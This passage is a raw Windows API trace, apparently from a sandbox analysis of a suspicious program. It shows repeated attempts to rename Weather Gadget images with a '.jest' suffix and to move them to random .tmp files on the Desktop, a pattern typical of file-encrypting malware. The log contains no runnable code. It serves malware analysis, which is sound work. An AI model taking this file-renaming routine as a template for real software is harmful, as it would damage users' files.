HALPmcxz\\Desktop\\GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gegjehbdgz_fivws1znbu9leldthfcnhuz_jfeomavqbal4lp1prlxeqqoffh4hfjhycxhctiiyfr7enpumlj gxdofx1z75p3i.tmp")) returned 0 [0127.890] GetLastError () returned 0x5 [0127.890] GetLastError () returned 0x5 [0127.890] SetLastError (dwErrCode=0x5) [0127.890] GetLastError () returned 0x5 [0127.890] SetLastError (dwErrCode=0x5) [0127.890] GetLastError () returned 0x5 [0127.890] SetLastError (dwErrCode=0x5) [0127.890] GetFullPathNameA (in: lpFileName="GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", lpFilePart=0x18e6e4*="GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp") returned 0x8d [0127.890] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEgJeHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a674547, cFileName="eHbdgz_FiVWS1znBU9lELDtHfcnhuz_jFEOmaVQBAL4lP1prLxeqQofFH4hfjHyCxhCtIiYfr7EnPuMLJ GXdoFX1Z75p3i.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.890] GetLastError () returned 0x2 [0127.890] GetLastError () returned 0x2 [0127.890] SetLastError (dwErrCode=0x2) [0127.891] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.891] CoFreeUnusedLibraries () [0127.891] GetTickCount () returned 0x1152675 [0127.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.891] GetTickCount () returned 0x1152675 [0127.891] IsWindowVisible (hWnd=0x30268) returned 0 [0127.891] Sleep (dwMilliseconds=0x0) [0127.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png.jest")) returned 0 [0127.894] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png", lpFilePart=0x18e6d8*="21.png") returned 0x4b [0127.894] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x57, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 0x143ce48 [0127.895] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.896] VarBstrFromR4 (in: fltIn=0x479445dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.73") returned 0x0 [0127.897] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.897] CoFreeUnusedLibraries () [0127.897] GetTickCount () returned 0x1152675 [0127.897] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.897] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.897] GetTickCount () returned 0x1152675 [0127.897] IsWindowVisible (hWnd=0x30268) returned 0 [0127.897] Sleep (dwMilliseconds=0x0) [0127.898] GetFullPathNameA (in: lpFileName="ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", lpFilePart=0x18e708*="ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp") returned 0x8e [0127.899] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png", lpFilePart=0x18e708*="21.png") returned 0x4b [0127.899] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ia6vwlxb4y7gfhyzty9rrqftni ll6jv8i6byq7qxusi8xzuguawxkaitwdr2d-hksadfrjxgkv8xpzgmidvhwbazj5kp0fzb4xn.tmp")) returned 0 [0127.901] GetLastError () returned 0x5 [0127.901] GetLastError () returned 0x5 [0127.901] SetLastError (dwErrCode=0x5) [0127.901] GetLastError () returned 0x5 [0127.901] SetLastError (dwErrCode=0x5) [0127.901] GetLastError () returned 0x5 [0127.901] SetLastError (dwErrCode=0x5) [0127.902] GetFullPathNameA (in: lpFileName="ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", lpFilePart=0x18e6e4*="ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp") returned 0x8e [0127.902] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ia6vwlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76366169, cFileName="wlXb4Y7gFhYZTy9RRqFTni Ll6Jv8I6ByQ7QxUSi8XzUGuAWxkaiTwdR2D-HKSadfrjxGkv8XPZgMIdvhwbazJ5kP0Fzb4xN.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.902] GetLastError () returned 0x2 [0127.902] GetLastError () returned 0x2 [0127.902] SetLastError (dwErrCode=0x2) [0127.903] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.903] CoFreeUnusedLibraries () [0127.903] GetTickCount () returned 0x1152685 [0127.903] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.903] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.903] GetTickCount () returned 0x1152685 [0127.903] IsWindowVisible (hWnd=0x30268) returned 0 [0127.903] Sleep (dwMilliseconds=0x0) [0127.906] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png.jest")) returned 0 [0127.908] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png", lpFilePart=0x18e6d8*="20.png") returned 0x4b [0127.908] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x57, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 0x143ce48 [0127.909] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.911] VarBstrFromR4 (in: fltIn=0x479445df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.74") returned 0x0 [0127.911] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.912] CoFreeUnusedLibraries () [0127.912] GetTickCount () returned 0x1152685 [0127.912] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.912] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.912] GetTickCount () returned 0x1152685 [0127.912] IsWindowVisible (hWnd=0x30268) returned 0 [0127.912] Sleep (dwMilliseconds=0x0) [0127.913] GetFullPathNameA (in: lpFileName="jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", lpFilePart=0x18e708*="jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp") returned 0x8f [0127.913] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png", lpFilePart=0x18e708*="20.png") returned 0x4b [0127.914] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jaxtzwy_xniglszc_gv-bufzaadfsji_lprl_djwoqdqm5zbstto_kdozey2i9ds8frzxmeeluq0exqdeutcuihp43qsxly_m6cxv.tmp")) returned 0 [0127.916] GetLastError () returned 0x5 [0127.916] GetLastError () returned 0x5 [0127.916] SetLastError (dwErrCode=0x5) [0127.916] GetLastError () returned 0x5 [0127.916] SetLastError (dwErrCode=0x5) [0127.916] GetLastError () returned 0x5 [0127.916] SetLastError (dwErrCode=0x5) [0127.916] GetFullPathNameA (in: lpFileName="jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", lpFilePart=0x18e6e4*="jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp") returned 0x8f [0127.916] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jaxtzWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7478616a, cFileName="zWy_XNigLSzC_gv-BUFZaadfsji_LprL_DJWoQDqm5zbStto_kdozey2i9DS8frzXMeeluq0ExQDeUtcuIHp43qSxly_m6cxV.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.917] GetLastError () returned 0x2 [0127.917] GetLastError () returned 0x2 [0127.917] SetLastError (dwErrCode=0x2) [0127.917] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.917] CoFreeUnusedLibraries () [0127.917] GetTickCount () returned 0x1152694 [0127.917] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.918] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.918] GetTickCount () returned 0x1152694 [0127.918] IsWindowVisible (hWnd=0x30268) returned 0 [0127.918] Sleep (dwMilliseconds=0x0) [0127.919] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png.jest")) returned 0 [0127.921] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png", lpFilePart=0x18e6d8*="19.png") returned 0x4b [0127.921] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0f1aec, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0f1aec, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x57, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 0x143ce48 [0127.922] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.923] VarBstrFromR4 (in: fltIn=0x479445e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.76") returned 0x0 [0127.923] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.923] CoFreeUnusedLibraries () [0127.923] GetTickCount () returned 0x1152694 [0127.923] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.923] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.923] GetTickCount () returned 0x1152694 [0127.923] IsWindowVisible (hWnd=0x30268) returned 0 [0127.923] Sleep (dwMilliseconds=0x0) [0127.924] GetFullPathNameA (in: lpFileName="U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", lpFilePart=0x18e708*="U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp") returned 0x8e [0127.925] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png", lpFilePart=0x18e708*="19.png") returned 0x4b [0127.925] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u5ycwzzru-2p6bbbh cbofktmh_tmmpjwivjaumsqbpp7jjzysdj3h7nxdj4yfopkksfm6dq6qlsglke9kscxtbk2xwdxjqp_svf.tmp")) returned 0 [0127.927] GetLastError () returned 0x5 [0127.927] GetLastError () returned 0x5 [0127.927] SetLastError (dwErrCode=0x5) [0127.927] GetLastError () returned 0x5 [0127.927] SetLastError (dwErrCode=0x5) [0127.927] GetLastError () returned 0x5 [0127.927] SetLastError (dwErrCode=0x5) [0127.927] GetFullPathNameA (in: lpFileName="U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", lpFilePart=0x18e6e4*="U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp") returned 0x8e [0127.927] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5ycwzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63793555, cFileName="wzZRU-2p6bbBH CBOfKTmH_TmMpJwIvJaUmsqbpp7jJZysDJ3H7nXDj4yFOPKKSfm6DQ6qLsGLke9kSCXtBK2xWDXjqp_sVF.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.927] GetLastError () returned 0x2 [0127.927] GetLastError () returned 0x2 [0127.927] SetLastError (dwErrCode=0x2) [0127.928] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.928] CoFreeUnusedLibraries () [0127.928] GetTickCount () returned 0x1152694 [0127.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.928] GetTickCount () returned 0x1152694 [0127.928] IsWindowVisible (hWnd=0x30268) returned 0 [0127.928] Sleep (dwMilliseconds=0x0) [0127.929] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png.jest")) returned 0 [0127.931] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png", lpFilePart=0x18e6d8*="25.png") returned 0x4b [0127.931] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x57, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 0x143ce48 [0127.932] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.933] VarBstrFromR4 (in: fltIn=0x479445e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.77") returned 0x0 [0127.934] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.934] CoFreeUnusedLibraries () [0127.934] GetTickCount () returned 0x11526a4 [0127.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.934] GetTickCount () returned 0x11526a4 [0127.934] IsWindowVisible 